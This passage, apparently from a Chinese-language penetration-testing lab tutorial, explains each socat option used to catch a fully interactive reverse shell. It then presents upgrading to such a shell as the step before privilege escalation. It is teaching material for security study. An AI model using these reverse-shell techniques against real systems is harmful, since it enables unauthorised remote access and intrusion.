#pty: 这个选项表示创建一个伪终端(pseudo-terminal),这样在连接中可以进行交互式的输入输出。
#stderr: 这个选项表示将连接中的错误信息输出到标准错误(stderr)。
#setsid: 这个选项表示创建一个新的进程组,并将该进程设为新的会话组长,这样可以避免信号(如 SIGHUP)被发送到该进程。
#sigint: 这个选项表示 socat 会在接收到终端中断信号(Ctrl+C)时,发送一个中断信号给被执行的程序。
#sane: 这个选项表示 socat 将启用 sane 模式,以便更好地处理终端输入输出。
#tcp:127.0.0.1:5912: 这部分指定了 socat 将会连接的目标。在这个例子中,socat 将连接到本地主机(127.0.0.1)的 5912 端口上的 TCP 服务。

socat 反弹回的 shell 支持历史命令、tab 补全、ctrl-c 等功能

这种方式反弹回的 shell 最为完整,但需要目标主机支持 socat 工具。

实验总结

在本节实验中,我们学习了什么是「简单 shell」,什么是「交互式 shell」,并通过实验对如何从「简单 shell」升级为「交互式 shell」有了深入的理解。

需要注意的是:简单 shell 升级为交互式 shell 后,用户权限不会发生变化,这只是为之后提权做准备,从下一章开始我们将介绍提权的各种技巧。


举报
0 条评论